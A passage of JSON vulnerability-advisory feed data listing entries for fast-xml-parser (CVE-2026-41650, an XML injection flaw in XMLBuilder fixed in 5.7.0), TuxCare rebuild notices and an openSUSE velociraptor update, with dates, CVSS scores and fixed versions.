this.newLine;\n}\n```","status":"published","published":"2026-04-22T20:04:17Z","modified":"2026-09-10T03:51:01.693430465Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-91"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"ROOT-APP-NPM-CVE-2026-41650","title":"CVE-2026-41650 in fast-xml-parser - Patched by Root","description":"Root has patched CVE-2026-41650 in the fast-xml-parser package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-11-02T16:57:32Z","modified":"2026-11-02T17:15:03.230174799Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T18:00:32.560004Z"},{"id":"UBUNTU-CVE-2026-41650","description":"fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"--\u003e\" sequence in comment content or the \"]]\u003e\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0.","status":"published","published":"2026-05-07T15:16:00Z","modified":"2026-10-17T12:58:15.359300802Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:18.393417Z"},{"id":"CLSA-2026-1777336754","title":"TuxCare security update for fast-xml-parser (1 CVE)","description":"TuxCare rebuilt fast-xml-parser to address 1 CVE. Fixed in 4.5.6-tuxcare.1.","status":"published","published":"2026-08-04T14:52:29Z","modified":"2026-10-15T09:45:49.584588715Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1781744119","title":"TuxCare security update for fast-xml-parser (6 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 6 CVEs. Fixed in 4.2.7-tuxcare.1.","status":"published","published":"2026-08-04T14:52:37Z","modified":"2026-10-15T09:45:51.439601431Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1781744123","title":"TuxCare security update for fast-xml-parser (2 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 2 CVEs. Fixed in 3.19.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:38Z","modified":"2026-10-15T09:45:56.500939866Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1781744124","title":"TuxCare security update for fast-xml-parser (2 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 2 CVEs. Fixed in 3.17.5-tuxcare.1.","status":"published","published":"2026-08-04T14:52:38Z","modified":"2026-10-15T09:47:08.112922321Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1781744131","title":"TuxCare security update for fast-xml-parser (2 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 2 CVEs. Fixed in 3.14.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:38Z","modified":"2026-10-15T09:45:56.497413955Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1781744139","title":"TuxCare security update for fast-xml-parser (6 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 6 CVEs. Fixed in 4.4.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:38Z","modified":"2026-11-05T13:28:24.682022025Z","updated_at":"2026-11-05T16:37:45.64821Z"},{"id":"CLSA-2026-1786525960","title":"TuxCare security update for fast-xml-parser (1 CVE)","description":"TuxCare rebuilt fast-xml-parser to address 1 CVE. Fixed in 4.5.7-tuxcare.2.","status":"published","published":"2026-08-12T09:12:40Z","modified":"2026-10-15T09:46:00.803240862Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"CLSA-2026-1790597933","title":"TuxCare security update for fast-xml-parser (2 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 2 CVEs. Fixed in 4.5.1-tuxcare.4.","status":"published","published":"2026-09-28T12:18:53Z","modified":"2026-10-15T09:48:03.094699469Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1792454133","title":"TuxCare security update for fast-xml-parser (7 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 7 CVEs. Fixed in 5.2.5-tuxcare.1.","status":"published","published":"2026-10-19T23:55:33Z","modified":"2026-10-20T01:45:13.504283365Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"CLSA-2026-1792698537","title":"TuxCare security update for fast-xml-parser (3 CVEs)","description":"TuxCare rebuilt fast-xml-parser to address 3 CVEs. Fixed in 4.4.1-tuxcare.2.","status":"published","published":"2026-10-22T19:48:57Z","modified":"2026-10-23T02:00:22.688376856Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"openSUSE-SU-2026:12070-1","title":"velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media","description":"These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-06T00:00:00Z","modified":"2026-10-07T17:23:11.433086957Z","updated_at":"2026-11-02T16:58:40.245664Z"}]}}